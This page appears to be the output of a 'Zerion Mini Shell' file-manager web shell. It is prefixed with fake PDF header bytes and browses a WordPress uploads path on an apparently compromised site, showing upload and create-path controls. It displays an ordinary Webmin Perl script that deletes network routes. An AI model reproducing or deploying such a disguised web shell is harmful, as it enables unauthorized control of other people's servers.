%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/friendstravel.al/wp-content/uploads/k2/root/usr/share/webmin/net/
Upload File :
Create Path :
Current File : /var/www/html/friendstravel.al/wp-content/uploads/k2/root/usr/share/webmin/net/delete_routes.cgi

#!/usr/bin/perl
# Deletes several active routes

require './net-lib.pl';
$access{'routes'} || &error($text{'routes_ecannot'});
&ReadParse();
&error_setup($text{'routes_derr'});
@d = split(/\0/, $in{'d'});
@d || &error($text{'routes_denone'});

@routes = &list_routes();
foreach $d (sort { $b <=> $a } @d) {
	$err = &delete_route($routes[$d]);
	&error($err) if ($err);
	}
&webmin_log("delete", "routes", scalar(@d));
&redirect("list_routes.cgi?mode=active");

Zerion Mini Shell 1.0